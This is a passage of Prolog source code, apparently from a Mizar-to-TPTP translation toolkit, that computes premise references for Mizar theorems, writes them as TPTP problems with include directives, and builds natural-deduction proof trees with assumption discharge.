told\n\t;\n\t  true\n\t),\n\t\n\t%% Compute references into AllRefs.\n\t%% This gets a bit tricky for cluster registrations - we need the original\n\t%% formula (P), but use the PLevel for collecting the refs, and finally filter\n\t%% using the original cluster's level (Lev).\n\t(\n\t  InfKind == mizar_proof,\n\t  ensure(member(proof_level(PLevel), InfInfo), inf_info(InfInfo,PLevel)),\n\t  (member(opt_LEVEL_REF_INFO, Options) ->\n\t      get_thislevel_refs(PLevel, Refs0, ThisLevelRefs, SuperLevelRefs),\n\t      concat_atom([Outfile,'.refspec'], RefSpecFile),\n\t      tell(RefSpecFile),\n\t      print(refspec(P,ThisLevelRefs,SuperLevelRefs)),\n\t      write('.'),nl,\n\t      told\n\t  ;\n\t      true\n\t  ),\n\t  get_proof_syms_and_flas([P|Refs0], PLevel, PSyms, PRefs),\n\t  dbg(dbg_LEVEL_REFS, format('Refs for ~w bef. filtering: ~w~n', [P,PRefs])),\n\t  Syms1 = PSyms,\n\t  once(fixpoint(F, [Pos1, Lev], InfKind1, PRefs, [], Syms1, AllRefs0)),\n\t  dbg(dbg_LEVEL_REFS, format('Refs for ~w after fixpoint: ~w~n', [P,AllRefs0])),\n\t  %% incorrect, but needs handling of fraenkels and sch_insts\n\t  filter_level_refs(Lev,AllRefs0,AllRefs),\n\t  dbg(dbg_LEVEL_REFS, format('Refs for ~w after level filtering: ~w~n', [P,AllRefs]))\n\t;\n\t  InfKind \\== mizar_proof,\n\t  Refs = Refs0,\n\t  maplist(get_ref_fla, [P|Refs], Flas1),\n\t  collect_symbols_top(Flas1, Syms0),\n\t  Syms1 = Syms0,\n\t  %% ###TODO: for reconsidered type, following is enough instead of fixpoint\n%\t  AllRefs1 = [P|Refs]\n\t  once(fixpoint(F, [Pos1, Lev], InfKind1, [P|Refs], [], Syms1, AllRefs1)),\n\t  %% if we used the correctness proposition for computing references of cluster \n\t  %% registrations, we have to filter using the cluster's level\n\t  (member(MPropKind,[fcluster,ccluster,rcluster]) ->\n\t      filter_level_refs(Lev,AllRefs1,AllRefs)\n\t  ;\n\t      AllRefs = AllRefs1\n\t  )\n\t).\n\n\n%% print_problem(+ProblemName,+Article,[+InferenceKinds,+PropositionKinds|+Rest],+Options,\n%%               +Outfile,+Line,+Column,+AllRefs)\n%%\n%% Print problem ProblemName into OutFile, doing sort transformation.\nprint_problem(P,F,[_InferenceKinds,_PropositionKinds|Rest],Options,\n\t      Outfile,Line,Col,AllRefs):-\n\t(member(opt_PRINT_PROB_PROGRESS,Options) ->\n\t    format('% Mizar problem: ~w,~w,~w,~w ~n', [P,F,Line,Col])\n\t;\n\t    true\n\t),\n\ttell(Outfile),\n\tformat('% Mizar problem: ~w,~w,~w,~w ~n', [P,F,Line,Col]),\n\t(member(snow_spec, Rest) ->\n\t    format('% Using references advised by SNoW ~n', [])\n\t;\n\t    true\n\t),\n\t(member(opt_PROB_PRINT_FUNC(Print_Func),Options) ->\n\t    call(Print_Func, P, AllRefs, Options)\n\t;\n\t    print_refs(P, AllRefs, Options)\n\t),\t    \n\ttold.\n\n\nprint_ref_as_axiom(Options, Q):-\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tStatus = axiom, QQ3 = Q3, QQ4= [],\n\t(member(opt_TPTP_SHORT,Options) ->\n\t    print(fof(Q,Status,SR2))\n\t;\t\t \n\t    (member(opt_MK_TPTP_INF,Options) ->\n\t\tprint(fof(Q,Status,SR2,QQ3,QQ4))\n\t    ;\n\t\tprint(fof(Q,Status,SR2,Q3,Q4))\n\t    )\n\t),\n\twrite('.'),\n\tnl.\n\nprint_ref_as_conjecture(Options, ProperRefs1, Q):-\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tStatus = conjecture,\n\tQQ3 = inference(mizar_bg_added,[status(thm)],ProperRefs1),\n\tQQ4 = [Q3],\n\t(member(opt_TPTP_SHORT,Options) ->\n\t    print(fof(Q,Status,SR2))\n\t;\n\t    (member(opt_MK_TPTP_INF,Options) ->\n\t\tprint(fof(Q,Status,SR2,QQ3,QQ4))\n\t    ;\n\t\tprint(fof(Q,Status,SR2,Q3,Q4))\n\t    )\n\t),\n\twrite('.'),\n\tnl.\n\nprint_refs(Conjecture, AllRefs, Options):-\n\tdelete(AllRefs, Conjecture, ProperRefs1),\n\tprint_ref_as_conjecture(Options, ProperRefs1, Conjecture),\n\tchecklist(print_ref_as_axiom(Options), ProperRefs1).\n\nget_transformed_fla(Q,Fla):-\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,Fla),\n\tnumbervars([Fla,Q3,Q4],0,_).\n\n%% list2constr(+BinConstr, +Nil, +List , -Term)\n%%\n%% Replace cons and nil with BinConstr and Nil, creating Term.\nlist2constr(_BinConstr, Nil, [], Nil).\nlist2constr(BinConstr, Nil, [H|T],Res):-\n\tlist2constr(BinConstr, Nil, T, Tmp),\n\tRes =.. [BinConstr, H, Tmp].\n\n%% constr2list(+BinConstr, -Last, -List , +Term)\n%%\n%% While BinConstr, replace with cons creating List\n%% (having Last element).\n%% Order of params is compatible with list2constr.\nconstr2list(BinConstr, Last, [H,H1|T],Res):-\n\tRes =.. [BinConstr, H, Tmp],!,\n\tconstr2list(BinConstr, Last, [H1|T], Tmp).\nconstr2list(_BinConstr, T, [T], T):- !.\n\n% destruct also heads\nconstr2list2(BinConstr, Last, List,Res):-\n\tRes =.. [BinConstr, H, Tmp],!,\n\tconstr2list2(BinConstr, _, H0, H),\n\tconstr2list2(BinConstr, Last, List2, Tmp),\n\tappend(H0,List2,List).\nconstr2list2(_BinConstr, T, [T], T):- !.\n\n\nprint_refs_as_one_fla(Conjecture, AllRefs, _Options):-\n\tdelete(AllRefs, Conjecture, ProperRefs1),\n\tmaplist(get_transformed_fla, ProperRefs1, ProperRefs2),\n\tlist2constr(&, $true, ProperRefs2, AxiomsConjunction),\n\tQ = Conjecture,\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tprint(fof(Q,conjecture,(AxiomsConjunction => SR2),Q3)),\n\twrite('.'),\n\tnl.\n\n%% get_include_refs(+Refs, -IncludeRefs, -NonIncludeRefs, -IncludeFiles)\n%%\n%% Divide Refs into the standard ones contained in include files (see\n%% mml2tptp_includes/1 for them), and the rest. Make a list of\n%% include files for the includable ones.\n%% ##ASSUMES: that fraenkels are ok, and the only special formulas\n%%    are either scheme instances (starting with sNr) or requirements,\n%%    starting with spcNr.\nget_include_refs(Refs, IncludeRefs, NonIncludeRefs, IncludeArticles):-\n\tfindall(Ref,\n\t\t(\n\t\t  member(Ref, Refs),\n\t\t  concat_atom([H|_],'_',Ref),\n\t\t  (\n\t\t    atom_concat(spc, Nr, H) ->\n\t\t    atom_chars(Nr, NrChars),\n\t\t    checklist(digit,NrChars)\n\t\t  ;\n\t\t    atom_concat(s, Nr, H),\n\t\t    atom_chars(Nr, NrChars),\n\t\t    checklist(digit,NrChars),\n\t\t    get_ref_fof(Ref,_,_,_,[mptp_info(_,_,scheme_instance,_,_)|_])\n\t\t  )\n\t\t),\n\t\tNonIncludeRefs\n\t       ),\n\tsubtract(Refs, NonIncludeRefs, IncludeRefs),\n\tmaplist(get_ref_file, IncludeRefs, IncludeArticles1),\n\tsort(IncludeArticles1, IncludeArticles).\n\nprint_include_directive(Article):-\n\tconcat_atom(['Axioms/', Article, '.ax'], IncludeFile),\n\twriteq(include(IncludeFile)),\n\twrite('.'),\n\tnl.\n\n%% get_preceding_article_refs(+Article, +Ref, -Refs)\n%%\n%% This is a tested version used for inclusion of theorems into TPTP,\n%% which only gets refernces with proof level [] .\n%% So it cannot be used for sublemmas.\n%% ##TODO: reimplement & test using fof_toplevel/2\nget_preceding_article_refs_old(Article, Ref, Refs):-\n\tensure(article_position(Ref,Pos), throw(article_position(Article,Ref))),\n\tfindall(Ref1,\n\t\t(\n\t\t  article_position(Ref1,Pos1),\n\t\t  Pos1 < Pos,\n\t\t  fof_name(Ref1, Id),\n\t\t  clause(fof(Ref1,_,_,file(Article,_), [mptp_info(_,[],_,_,_)|_]),_,Id)\n\t\t),\n\t\tRefs\n\t       ).\n\n%% This is the new version, used for generating the .allowed_local files .\n%% It used to behaved badly for sublemmas, because of a bug in assert_level.\n%% Note that for sublemms we have to avoid the theses, that is: those that are\n%% marked as thesis, and those that are currently being proved.\nget_preceding_article_refs(Article, Ref, Refs):-\n\tensure(article_position(Ref,Pos), throw(article_position(Article,Ref))),\n\tget_ref_fof(Ref,fof(Ref,_,_,file(Article,_),[mptp_info(_,ProofLevel,_,_,_)|_])),\n\tfindall(LevAtom, (sublevel(ProofLevel,Lev), level_atom(Lev, LevAtom)), LevAtoms),\n\tfindall(Id1, (member(Lev1, LevAtoms), fof_newlevel(Lev1,Article,Id1)), BadIds),\n\tfindall(Ref0,\n\t\t(\n\t\t  fof_toplevel(Article, Id0),\n\t\t  clause(fof(Ref0,_,_,file(Article,_), [mptp_info(_,[],_,_,_)|_]),_,Id0),\n\t\t  article_position(Ref0,Pos0),\n\t\t  Pos0 < Pos,\n\t\t  not(member(Id0, BadIds))\n\t\t),\n\t\tRefs0\n\t       ),\t\n\tfindall(Ref1,\n\t\t(\n\t\t  member(LA1, LevAtoms),\n\t\t  fof_level(LA1, Id),\n\t\t  clause(fof(Ref1,Role1,_,file(Article,_), [mptp_info(_,_,_,_,_)|_]),_,Id),\n\t\t  article_position(Ref1,Pos1),\n\t\t  Pos1 < Pos,\n\t\t  Role1 \\= thesis,\n\t\t  not(member(Id, BadIds))\n\t\t),\n\t\tRefs1\n\t       ),\n\tunion(Refs0, Refs1, Refs).\n\n\n\n%% All standard axioms (coming from other articles than the conjecture)\n%% which were printed to include files\n%% by mml2tptp_includes/1 are omitted, and only the include\n%% directive is generated for them. The conjecture, all formulas from\n%% its article, and other special formulas not printed by mml2tptp_includes/1\n%% are printed explicitly.\nprint_refs_as_tptp_includes(Conjecture, AllRefs, Options):-\n\tdelete(AllRefs, Conjecture, ProperRefs1),\n\tensure(get_ref_file(Conjecture, Article), bad_conjecture(Conjecture)),\n\tfindall(ARef,\n\t\t(\n\t\t  member(ARef, ProperRefs1),\n\t\t  get_ref_fof(ARef,fof(ARef,_,_,file(Article,_),_))\n\t\t),\n\t\tArticleRefs\n\t       ),\n\tsubtract(ProperRefs1, ArticleRefs, NonArticleRefs),\n\tget_include_refs(NonArticleRefs, _IncludeRefs, NonIncludeRefs, _IncludeArticles0),\n\tget_preceding_article_refs(Article, Conjecture, PrecedingRefs),\n\tunion(ArticleRefs, PrecedingRefs, AllArticleRefs),\n\t(\n\t  member(opt_PP_SMALLER_INCLUDES(AllIncludes), Options) ->\n\t  get_smaller_includes(Article, AllIncludes, IncludeArticles)\n\t;\n\t  needed_environ(Article, [], IncludeArticles)\n\t),\n\tchecklist(print_include_directive, IncludeArticles),\n\tchecklist(print_ref_as_axiom(Options), NonIncludeRefs),\n\tchecklist(print_ref_as_axiom(Options), AllArticleRefs),\n\tprint_ref_as_conjecture(Options, ProperRefs1, Conjecture).\n\n\n%%%%%%%%%%%%%%%%%%% ND problem creation %%%%%%%%%%%%%%%%%%%%%%%%%\n\n%% Assumption control (these two seem sufficient):\n%% - each assumption in the inference tree is exactly once discharged\n%% - each assumption is only used in the subtree rooted at the point of its discharge\n\n%% mk_nd_tree(F,_Prefix,_Options,P)\n%%\n%% Print all prerequisities for P and then P.\n%% Prerequisities are limited to what is inside a proof of a theorem\n%% top-level lemmas are not expanded.\n%% That means:\n%% get references of P, call mk_nd_tree on them, then print P.\n%% the recursion stops for things outside of P's prooflevel,\n%% and for assumptions.\n%% This is a tree traversal, and we want to print every node only once\n%% and at the earliest position. So we proceed depth-first, keep a list \n%% of things that were requested to be printed, and a list of things\n%% that already were printed.\n\n%% now works also for top-level propositions proved by mizar_by or mizar_from\n%% (to make the article tree complete)\n%% the level is in that case forged to [0], to prevent recursion into other\n%% top-level propositions\nmk_nd_problem(P,F,Prefix,Options):-\n\t(var(P) -> fof_file(F,Id); true),\n\tclause(fof(P,Role1,Fla,file(F,P),[mptp_info(_,[],MPropKind,position(Line0,Col0),_),\n\t\t\t\t\t  inference(InfKind,InferInfo,_)|_]),_,Id),\n\t(\n\t  Role1 = theorem,\n\t  %% to avoid canceled theorems\n\t  Fla \\== $true,\n\t  %% to avoid scheme instances on top-level (s2_recdef_1__e21__pre_ff)\n\t  MPropKind \\== scheme_instance\n\t;\n\t  Role1 = lemma_conjecture),\n\t(InfKind = mizar_proof ->\n\t    member(proof_level(Lev), InferInfo)\n\t;\n\t    Lev = [0]\n\t),\n\t(\n\t  member(position(Line,Col), InferInfo) -> true\n\t;\n\t  Line = Line0,\n\t  Col = Col0\n\t),\n\t(member(opt_LINE_COL_NMS, Options) ->\n\t    concat_atom([Prefix,F,'__',Line,'_',Col],Outfile)\n\t;\n\t    concat_atom([Prefix,F,'__',P],Outfile)\n\t),\n\ttell(Outfile),\n\tformat('% Mizar ND problem: ~w,~w,~w,~w ~n', [P,F,Line,Col]),\n\tmk_nd_tree1(F,Lev,[],_,P,Assumptions,Options),\n\tensure((Assumptions == []), mk_nd_problem(nonempty_assumptions(P,Assumptions))),\n\ttold.\n\n\n%% the end of recursion\n\nmk_nd_tree(_,_,PrintedIn,PrintedIn,P,Assums,_):- memberchk([P,Assums],PrintedIn), !.\n\nmk_nd_tree(F,Lev,PrintedIn,[[P,Assums]|PrintedIn],P,Assums,Options):-\n\tget_ref_fof(P,fof(P,Role,_,file(F1,_),[ mptp_info(_Nr,Lev1,MPropKind,_,Spc)|_Info])),\n\t(\n\t  F \\= F1, Assums = [], !\n\t;\n\t  Role = assumption, Assums = [P], !\n\t;\n\t  Role = axiom, Assums = [], ! %% for henkins\n\t;\n\t  %% ###TODO: shouldn't the level of sch. insts. be changed (they do not contain consts anyway now)?\n\t  MPropKind = scheme_instance, Assums = [], ! %% hack - their Lev1 is not [] now \n\t;\n\t  strict_sublevel(Lev,Lev1), Assums = [], !\n\t;\n\t  MPropKind = constant,\n\t  Role = definition,\n\t  Spc = [EqKind, equality|_],\n\t  member(EqKind,[reconsider,takeasvar]),\n\t  Assums = [], !\n\t), !,\n\tprint_for_nd(P,axiom,[],[],Options).\n\n\nmk_nd_tree(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):- mk_nd_tree1(F,Lev,PrintedIn,PrintedOut,P,Assums,Options),!.\nmk_nd_tree(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):-\n\tthrow(mk_nd_tree(unhandled,F,Lev,PrintedIn,PrintedOut,P,Assums,Options)).\n\n%% renamed to have an easy start for the initial clause in mk_nd_problem,\n%% which would otherwise be caught by the second clause of mk_nd_tree\nmk_nd_tree1(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):-\n\tget_ref_fof(P,fof(P,_,_,file(F,_),[mptp_info(_,_,_,_,_)\n\t\t\t\t\t  |Rest_of_info])),\n\tmember( mizar_nd( inference(NDKind,NDOpts,NDRefs)), Rest_of_info), !,\n\t(\n\t  NDKind = discharge_asm,!,\n\t  ensure( member( discharged(Discharged), NDOpts), mk_nd_tree(Rest_of_info)),\n\t  append(Discharged, NDRefs, AllRefs2),\n\t  %% if ThesExps, then prevthesis follows from (Discharged => P) & ThesExps,\n\t  %% hence it is correct to add ThesExps to the fixpoint algo\n\t  (\n\t    member( thesis_expansions(ThesExps), NDOpts),!,\n\t    get_mizar_inf_refs(F, P, AllRefs2, mizar_from, AllRefs1),\n\t    delete(AllRefs1, P, AllRefs),\n\t    subtract(NDRefs, ThesExps, PureTheses),\n\t    subtract(AllRefs, AllRefs2, AllRefs3),\n\t    append(ThesExps, AllRefs3, AllRefs4),\n\t    RefSlot = discharge(Discharged, PureTheses, AllRefs4)\n\t  ;\n\t    check_redefs(P,AllRefs2),!,\n\t    get_mizar_inf_refs(F, P, AllRefs2, mizar_from, AllRefs1),\n\t    delete(AllRefs1, P, AllRefs),\n\t    subtract(AllRefs, AllRefs2, AllRefs3),\n\t    RefSlot = discharge(Discharged, NDRefs, AllRefs3)\n\t  ;\n\t    append(Discharged,NDRefs,AllRefs),\n\t    RefSlot = discharge(Discharged, NDRefs)\n\t  )\n\t;\n\t  NDKind = take,!,\n\t  %% this takes care of the possible expansions automatically\n\t  get_mizar_inf_refs(F, P, NDRefs, mizar_from, AllRefs1),\n\t  delete(AllRefs1, P, AllRefs),\n\t  RefSlot = AllRefs,\n\t  Discharged = []\n\t;\n\t  NDKind = let,!,\n\t  %% we have to conduct additional discharging step\n\t  %% for types of the local consts, i.e. ![X:t(X)]:p(X) is justified\n\t  %% by p(c) discharged with assumption t(c) (this is the place where t(c)\n\t  %% gets discharged), and dh_c (i.e. the inference slot is:\n\t  %% infer(foo,[],[infer(discharge_asm,[discharged([t(c)])],[p(c)]),dh_c])\n\t  %% if ThesExps occur - e.g. X c= Y expanded to ![X:t(X)]:p(X) by d1,\n\t  %% then they and the bg are added to dh_c (i.e. the outer list of refs)\n\t  findall(Hax,(member(Hax,NDRefs),atom_prefix(Hax,'dh_')),Henkin_Refs),\n\t  maplist(atom_concat('dh_'),HC,Henkin_Refs),\n\t  maplist(atom_concat('dt_'),HC,Sort_Refs),\n\t  Discharged = Sort_Refs,\n\t  subtract(NDRefs, Henkin_Refs, PureTheses1),\n\t  (member( thesis_expansions(ThesExps), NDOpts) ->\n\t      get_mizar_inf_refs(F, P, NDRefs, mizar_from, AllRefs1),\n\t      delete(AllRefs1, P, AllRefs),\n\t      subtract(PureTheses1, ThesExps, PureTheses),\n\t      append(PureTheses, Sort_Refs, AvoidInOuterInf),\n\t      subtract(AllRefs, AvoidInOuterInf, OuterInfRefs),\n\t      RefSlot = let(Sort_Refs, PureTheses, OuterInfRefs)\n\t  ;\n\t      AllRefs = NDRefs,\n\t      RefSlot = let(Sort_Refs, PureTheses1, Henkin_Refs)\n\t      \n\t  )\n\t;\n\t  member(NDKind, [conclusion, consider, iterative_eq, trivial, percases]),!,\n\t  Discharged = [],\n\t  ((member( thesis_expansions(ThesExps), NDOpts); check_redefs(P,NDRefs)) ->\n\t      get_mizar_inf_refs(F, P, NDRefs, mizar_from, AllRefs1),\n\t      delete(AllRefs1, P, AllRefs)\n\t  ;\n\t      AllRefs = NDRefs\n\t  ),\n\t  RefSlot = AllRefs\n\t),\n\tsubtract_with_asms(AllRefs, PrintedIn, NewRefs, PrintedAssums),\n\tmk_nd_tree_l(F, Lev, PrintedIn, PrintedTmp, NewRefs, NewAssums, Options),\n\tunion(PrintedAssums, NewAssums, Assums1),\n\tsubtract(Assums1, Discharged, Assums),\n\tprint_for_nd(P, NDKind, RefSlot, Assums, Options),\n\tPrintedOut = [[P, Assums] | PrintedTmp].\n\nmk_nd_tree1(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):-\n\tget_ref_fof(P,fof(P,_,_,file(F,_),[mptp_info(_,_,_,_,_)\n\t\t\t\t\t  |Rest_of_info])), !,\n\tmember( inference(InfKind,_InferInfo,InfRefs), Rest_of_info),\n\tensure( member(InfKind, [mizar_by, mizar_from]), mk_nd_tree(P,InfKind)),\n\tget_mizar_inf_refs(F, P, InfRefs, InfKind, AllRefs1),\n\tdelete(AllRefs1, P, AllRefs),\n\tsubtract_with_asms(AllRefs, PrintedIn, NewRefs, PrintedAssums),\n\tmk_nd_tree_l(F,Lev,PrintedIn,PrintedTmp,NewRefs, NewAssums, Options),\n\tunion(PrintedAssums, NewAssums, Assums),\n\tprint_for_nd(P, InfKind,  AllRefs, Assums, Options),\n\tPrintedOut = [[P, Assums] | PrintedTmp].\n\n\n%% like subtract/3, but operates on lists of pairs instead,\n%% assuming that on the second place in each pair is a list (of its assumptions),\n%% and returns the union of all the subtracted guys' assumptions\nsubtract_with_asms([], _, [], []):- !.\nsubtract_with_asms([[A, AsmsA]|B], C, D, Asms) :-\n\tmemberchk([A, AsmsA], C), !,\n\tsubtract_with_asms(B, C, D, AsmsB),\n\tunion(AsmsA, AsmsB, Asms).\nsubtract_with_asms([A|B], C, [A|D], Asms) :-\n\tsubtract_with_asms(B, C, D, Asms).\n\n\nmk_nd_tree_l(_,_,PrintedIn,PrintedIn,[],[],_).\nmk_nd_tree_l(F,Lev,PrintedIn,PrintedOut,[H|T],Assums,Options):-\n\tmk_nd_tree(F,Lev,PrintedIn,PrintedTmp,H,AssumsH,Options),\n\tmk_nd_tree_l(F,Lev,PrintedTmp,PrintedOut,T,AssumsT,Options),\n\tunion(AssumsH, AssumsT, Assums).\n\n%% check if P and any of Refs have different redefinition variants\n%% of the same original symbol; if so, typing needs to be added\n%% to any reasoning involving EqFrm or EqTrm in Mizar, i.e. the ND\n%% reasonings; the stronger version would be to check if the variants\n%% are present in symbols from all formulas\ncheck_redefs(P,Refs):-\n\tmaplist(get_ref_fla, [P| Refs], [Fla|Flas1]),\n\tmaplist(collect_symbols_top, [Fla,[Flas1]], [AllFlaSyms,AllRefSyms]),\n\tlogic_syms(LogicSyms),\n\tsubtract(AllFlaSyms, LogicSyms, FlaSyms),\n\tsubtract(AllRefSyms, LogicSyms, RefSyms),\n\tfindall([Redefs,Redefd],\n\t\t(\n\t\t  member(Redefs, FlaSyms),\n\t\t  fof_redefines(Redefs,Redefd,_,_)\n\t\t),\n\t\tFlaRedefPairs),\n\tfindall([Redefs1,Redefd1],\n\t\t(\n\t\t  member(Redefs1,RefSyms),\n\t\t  fof_redefines(Redefs1,Redefd1,_,_)\n\t\t),\n\t\tRefRedefPairs),!,\n\tcheck_redefs_int(FlaRedefPairs,RefRedefPairs,FlaSyms,RefSyms).\n\n%% check_redefs_int(FlaRedefPairs,RefRedefPairs,FlaSyms,RefSyms)\ncheck_redefs_int([],[[_,Y]|_],FlaSyms,_):- member(Y, FlaSyms),!.\ncheck_redefs_int([],[_|T],FlaSyms,_):- check_redefs_int([],T,FlaSyms,_).\ncheck_redefs_int([[X,Y]|T],RefRedefPairs,FlaSyms,RefSyms):-\n\t(\n\t  member([Z,Y], RefRedefPairs),\n\t  X \\== Z,!\n\t;\n\t  member(Y, RefSyms),!\n\t;\n\t  check_redefs_int(T,RefRedefPairs,FlaSyms,RefSyms)\n\t).\n\t\n\n\t\n\nget_mizar_inf_refs(File, P, Refs, InfKind, AllRefs):-\n\tget_ref_fof(P, fof(P,_,Fla,_,[mptp_info(_,Lev,_,_,_)|_])),\n\tmaplist(get_ref_fla, Refs, Flas1),\n\tcollect_symbols_top( [Fla | Flas1], Syms1),\n\tensure(article_position(P,Pos1), throw(article_position(P))),\n\t%% ###TODO: for reconsidered type, following is enough instead of fixpoint\n\t%% AllRefs1 = [P|Refs]\n\tonce(fixpoint(File, [Pos1, Lev], InfKind, [P|Refs], [], Syms1, AllRefs)).\n\n%% compute_interest(InfKind,Lev,Intrst)\n%% now uses linear scaling\ncompute_interest(axiom,[],0.9):- !.\ncompute_interest(_,[],1):- !.\ncompute_interest(_,Lev,Intrst):- !,\n\tlength(Lev,L),\n\t%% So L=1 gets 0.8, L=2 gets 0.65,...,L=6 gets 0.05, and L>6 gets 0.02\n\tIntrst is max(0.8 - (0.15 * (L - 1)), 0.02).\n\n\n%% mk_conj_from_refs(Refs, ResultFla)\nmk_conj_from_refs([], $true).\nmk_conj_from_refs([H], ResultFla):- !, get_ref_fla(H, ResultFla).\nmk_conj_from_refs([H|T], (HFla & TFla)):- !,\n\tget_ref_fla(H, HFla),\n\tmk_conj_from_refs(T, TFla).\n\n%% mk_impl_from_refs(Antecedents, Consequents, ResultFla)\nmk_impl_from_refs(Antecedents, Consequents, (AntecFla => ConseqFla)):-\n\tmk_conj_from_refs(Antecedents, AntecFla),\n\tmk_conj_from_refs(Consequents, ConseqFla).\n\n\n%% for parsing with TPTP tools, use\n%% Options = [opt_TPTPFIX_ND_ROLE, opt_MK_TPTP_INF],\n%% for more info, use Options = []\n%% Refs are either just a list of references, or a\n%% term with top functor discharge or let (see below)\n%% for more complicated inferences\nprint_for_nd(Q,InfKind,Refs,Assums,Options):-\n\tget_ref_fof(Q, fof(Q,Q_1,Q2,Q3,Q4)),\n\tQ4 = [mptp_info(_,Lev,_,_,MpInfoRest)|_],\n\tcompute_interest(InfKind,Lev,Intrst),\n\t(\n\t  (Q_1 == lemma_conjecture; Q_1 == thesis),!,\n\t  Q1 = plain\n\t;\n\t  %% fix the old lemma-derived format\n\t  %% ###TODO: regenerate the constructor files, then remove this\n\t  %%          it is dangerous, and relies on having lemma-derived only in constr. files\n\t  (Q_1 == sort; Q_1 == lemma-derived),!,\n\t  Q1 = axiom\n\t;\n\t  Q_1 == axiom, MpInfoRest = [_,henkin_axiom|_],!,\n\t  %% this is not totally correct, the def is only partial\n\t  Q1 = defnition %% plain\n\n\t%% these are defs I think, so just remove the commented code after a while \n% \t;\n% \t  Q_1 == definition,\n% \t  MpInfoRest = [EqKind, equality|_],\n% \t  member(EqKind,[reconsider,takeasvar]),!,\n% \t  Q1 = plain\n\t;\n\t    Q1 = Q_1\n\t),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars(SR2,0,_),\n\t(member( opt_MK_TPTP_INF, Options) ->\n\t    UI0 = [Q3]\n\t;\n\t    UI0 = Q4\n\t),\n\t%% ###TODO: when the TPTP (and IDV) parser does not\n\t%%          complain about empty list of parents,\n\t%%          remove the triviality check\n\tStatus = status(thm),\n\t(\n\t  Q1 = assumption,!,\n\t  S1 = introduced(assumption,[Q3]),\n\t  UI1 = [InfKind|UI0]\n\t;\n\t  InfKind = axiom,!,\n\t  (\n\t    (\n\t      MpInfoRest = [_,henkin_axiom|_],!\n\t    ;\n\t      MpInfoRest = [EqKind, equality|_],\n\t      member(EqKind,[reconsider,takeasvar])\n\t    ),!,\n\t    Q3 = file(_,NewConstSym),\n\t    S1 = introduced(definition,[new_symbol(NewConstSym),Q3])\n\t  ;\n\t    S1 = Q3\n\t  ),\n\t  UI1 = [InfKind|UI0]\n\t;\n\t  InfKind = trivial,!,\n\t  S1 = introduced(tautology,[Q3]),\n\t  UI1 = [InfKind|UI0]\n\t;\n\t    (\n\t      InfKind = discharge_asm,!,\n\t      (\n\t\tRefs = discharge(Disch, Thes),!,\n\t\tsubtract(Assums, Disch, NewAssums),\n\t\t%% Thes are the proper refs, but Geoff wants also the\n\t\t%% assumptions in the parent slot\n\t\tunion(Disch, Thes, UnionRefs), \n\t\tS1 = inference(discharge_asm,[Status, assumptions(NewAssums),\n\t\t\t\t\t      discharge_asm(discharge,Disch)],UnionRefs)\n\t      ;\n\t\tRefs = discharge(Disch, Thes, DefsAndBG),\n\t\tsubtract(Assums, Disch, NewAssums),\n\t\t%% Thes are the proper refs of the inner inference,\n\t\t%% but Geoff wants also the assumptions in the parent slot\n\t\tunion(Disch, Thes, UnionRefs), \n\t\tDischInfer = inference(discharge_asm,[Status, assumptions(NewAssums),\n\t\t\t\t\t\t      discharge_asm(discharge,Disch)],UnionRefs),\n\t\t%% have to add the article suffix - absolutize locals will not know about this\n\t\tQ3 = file(File,_),\n\t\tThes = [Thes1|_],\n\t\tconcat_atom([Thes1, '_tmp__',File], TmpName),\n\t\tmk_impl_from_refs(Disch, Thes, TmpImpl1),\n\t\tsort_transform_top(TmpImpl1,TmpImpl),\n\t\tnumbervars(TmpImpl,0,_),\n\t\tprint(fof(TmpName, plain, TmpImpl, DischInfer, [interesting(Intrst),Q])),\n\t\twrite('.'), nl,\n\t\tS1 = inference(mizar_def_expansion, [Status, assumptions(NewAssums)],\n\t\t\t       [TmpName | DefsAndBG])\n\t\t% old version with nested inferences\n%\t\tS1 = inference(mizar_def_expansion, [Status, assumptions(NewAssums)],\n%\t\t\t       [DischInfer | DefsAndBG])\n\t      )\n\t    ;\n\t      InfKind = let,!,\n\t      Refs = let(Sort_Refs, PureTheses, OuterInfRefs),\n\t      subtract(Assums, Sort_Refs, NewAssums),\n\t      %% PureTheses are the proper refs of the inner inference,\n\t      %% but Geoff wants also the assumptions in the parent slot\n\t      union(Sort_Refs, PureTheses, UnionRefs), \n\t      DischInfer = inference(discharge_asm,[Status, assumptions(NewAssums),\n\t\t\t\t\t\t    discharge_asm(discharge,Sort_Refs)],UnionRefs),\n\t      %% have to add the article suffix - absolutize locals will not know about this\n\t      Q3 = file(File,_),\n\t      PureTheses = [Thes1|_],\n\t      concat_atom([Thes1, '_tmp__',File], TmpName),\n\t      mk_impl_from_refs(Sort_Refs, PureTheses, TmpImpl1),\n\t      sort_transform_top(TmpImpl1,TmpImpl),\n\t      numbervars(TmpImpl,0,_),\n\t      print(fof(TmpName, plain, TmpImpl, DischInfer, [interesting(Intrst),Q])),\n\t      write('.'), nl,\n\t      S1 = inference(let, [Status, assumptions(NewAssums)],\n\t\t\t     [TmpName | OuterInfRefs])\n%\t      S1 = inference(let,[Status, assumptions(NewAssums)], [DischInfer|OuterInfRefs])\n\t    ;\n\t      S1 = inference(InfKind,[Status, assumptions(Assums)],Refs)\n\t    ),\n\t    UI1 = [Q3,UI0]\n\t),\n\n\t(member( opt_TPTPFIX_ND_ROLE, Options) ->\n\t    %% ###TODO: when the TPTP (and IDV) parser does not\n\t    %%          complain about empty list of parents, or when\n\t    %%          AGint is fixed to consider plain as axiom,\n\t    %%          remove the triviality check\n\t    ((InfKind = axiom; InfKind = trivial) ->\n%\t\t(Q1= assumption -> Role = Q1; Role = axiom)\n\t\tRole = axiom\n\t    ;\n\t\tRole = plain\n\t    ),\n\t    UI = [Q1 | UI1]\n\t;\n\t    Role = Q1,\n\t    UI = 